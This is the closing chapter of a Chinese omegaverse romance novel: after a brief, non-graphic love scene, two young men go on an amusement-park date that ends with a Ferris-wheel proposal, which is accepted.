“冷吗?”匙越煽风点火的手却没有停。 隽云差点咬到他的嘴唇,清冷的眼眸里也染上了一抹欲色:“嗯冷” “那就换一个。” 被推倒在床上,手从宽松的衣摆里探出,取而代之的是匙越的脑袋,吻向甚少有人触及的地方。 隽云抓着他衣服的手猛地收紧 两个人都汗涔涔地相拥,隽云半阖着眼失神,眼底满是水光,嘴唇嫣红,只能凭借一点求生的本能细细喘着气,胸膛起伏。 匙越压在他身上很重,想让他起开,但是隽云还沉浸在刚才末顶的愉悦里,就连骨头缝都透着酥软,没有一点力气把他推开了,只能感受着匙越的身体,就连汗水都要和他相融,在这种信息素的极致纠缠里,隽云闻的头晕脑胀,就听到压在他身上的人突然来了一句: “明天我们去游乐园吧。” “?” 这么突然? 对于匙越的提议,隽云整个人懒洋洋的一点都不想动弹,嗓子有点干痛,费劲地咽了咽口水,才喘过来一口气: “不去。” 浑身上下还泛着酸痛,他缓缓眨眼,望着天花板透着一股死意。 还游乐园 明天不想见人了。 匙越听到他拒绝了他,撑着胳膊起来一点,看着他,嗓音透着事后的沙哑低沉,带着不解: “为什么?” 隽云撇开脸免得他亲到自己,坚决抵制:“你技术太差,我刚才说了,不要那样,你还” 技术很差??? 匙越微妙地挑了挑眉,不就是让他坐在上面掌控他吗,但是他已经在控制着很慢了,而且隽云当时也不像是难受的样子 “行。”小云朵怎么说都有理。匙越顺势说:“那我下次改进。” 不想下次再有这种了。 “”隽云闭了闭眼,喉咙干痛地说:“滚。” 但是第二天他们还是去了。 毕竟再过一天,他就要走了。 对于匙越的心愿,隽云心里想着反正要走了,就宠他这么一下,似乎也不是不可以。 于是冷着脸绕上匙越的围巾围在自己的脖子上,又戴上手套,把自己包裹的严严实实,婉拒了匙越的牵手要求,挥挥一团不分指套的毛绒手,走在前面让他跟上。 两个人很快就到了游乐园。 匙越手里依旧拿着个游乐园平面图,然后拿着笔在地图上选了几个项目,问隽云可不可以,得到应允后就带着隽云去玩了。 一个上午就这么过去了,中午在一家空中餐厅吃饭,周围绿植森然,小提琴声古典优雅,其余几桌交谈声格外细碎,似乎都融入了背景音里。 非常精致的一次约会。 今天的天气很好,晴天多云,缓缓飘下的小雪像是从云里坠下来的,轻盈灵动地浮在空气中,缓缓飘转,落下。 他们吃完饭后又玩了几个项目,惊奇的是大多数的项目都没什么人在排队,简直就像量身为他们开道了一样。 等到差不多五点了天已经快黑下来了,匙越牵住他的手:“我们再玩最后一个项目。” 隽云还没说什么,手机震动,拿出来看到是他妈给他打的电话。 隽云语气冷漠:“什么事?” “你出去了?”元青问他。 他妈怎么知道他出去了? 隽云环顾一圈,在一个游乐设施后面发现了一个他家的保镖,再旁边十几米处也站了一个。 原来,昨天他爸妈来过之后就留了人监视他。 挂了电话后,隽云的情绪低沉下来,他没了玩的兴致,对匙越说:“我们还是回去吧。” “先不回。”匙越握住他的手,指了指远处亮着灯的巨形设施:“我们去坐摩天轮。” 摩天轮 想到之前听路人说的摩天轮的祝福。 隽云一怔,双唇微张:“好。” * 摩天轮的队伍相比起上次人非常少,只有几个工作人员在,不知道是不是因为他们要下班了的缘故,一过去就轮到他们了,没有人排队,简直像是今天专门在那里等着他们的一样。 很幸运,隽云心想。 工作人员们围在一起,洋溢着热情的笑容,给他们检票,然后指引着他们坐到摩天轮的座舱里面。 隽云记得他上次看到的摩天轮有着紫色的外壳,这次应该是搞活动,情人节快到了,所以在每个摩天轮的舱口都绕了一圈的玫瑰鲜花,舱体外圈还围了一圈璀璨的光影。 很幸运,他们赶上了活动。 巨形摩天轮上还显示这座游乐园的酷炫宣传标语,就是不知道为什么他们来了之后就熄灭了。 这个摩天轮号称是A市最大的摩天轮,坐在摩天轮内缓缓上升,能看到A市最好的风景。 隽云注视着窗外缓缓上升的景色,他长什么大,几乎什么都体验过了,但是还是第一次坐摩天轮,因为没有人会陪他。 那是一种比坐过山车更不一样的刺激,比俯瞰欣赏出现在眼前万家灯火的风景前,更先到来的是内心的静谧,以及身边有人陪伴的安心。 等到上升到最高点,天色昏暗,突然——从地面蹦出一声尖锐的烟花爆响,炸响在耳侧,一声又一声五彩缤纷的烟花炸开来。 仿佛漂浮在半空之中,隽云注视着那一簇簇离他们很近的,炸开来的,灿烂又漂亮的烟花。 “隽云。” 匙越突然很正式地叫了一声他的名字。 隽云看那些烟花看得目不转睛,尾音微微上扬“嗯?”了一声,看过去,这才惊讶地发现,匙越半蹲着,单膝跪在地上。 他的手里托着一个白色的丝绒盒子。 脑海中的弦被拨动,隽云这才恍然明白,为什么今天的摩天轮项目没有人?为什么他们这座摩天轮座舱围了这么多鲜花?以及,检票的工作人员似乎还对他们说了一句恭喜。 “隽云。”匙越:“我想告诉你的是,其实我从很早以前就开始喜欢过你了,被你吸引。现在我要告诉你的是,我以后也会一直喜欢你,爱你。” 隽云有些惊讶,没想到他选择在摩天轮上和他说这些。 匙越有点紧张地踟蹰着,说:“我不想看到你和任何一个alpha结婚,我只想你和我在一起,如果你一定要订婚的话,那个人只能是我也必须是我。” “或许你觉得太快了,我们都还太年轻,谈这些还为时过早,但是我想对你说一些话,以后还会和你说很多次。” “哪怕我们真的能订婚,我想先向你求一次婚不是因为我们可能会联姻,不是因为婚约,也不是隽家和闵家商量好的,而是因为,我喜欢你,我爱你。” 他郑重而珍重地往前一递戒指盒,神情是前所未有的认真:“隽云,你愿意嫁给我吗?” 隽云凝视着此刻跪在地上往向他求婚的男人。 他今年快十九岁,一出身就拥有数不尽的财富和只手遮天的权利,什么都不缺,只缺一个叫爱的东西,从孩童时期就在跌跌撞撞地寻找,直到十九岁,越找越清醒地失望,越找越清醒地认识到自由和爱是他得不到的,直到遇到匙越。 命运叫他放弃那些财富和权利,却又连同爱一起奉还给他。 他此刻才不得不承认,原来,他是一个很幸运的人。 隽云脸上露出笑意,他伸出一只手,递给他:“我愿意。” ——完——《 》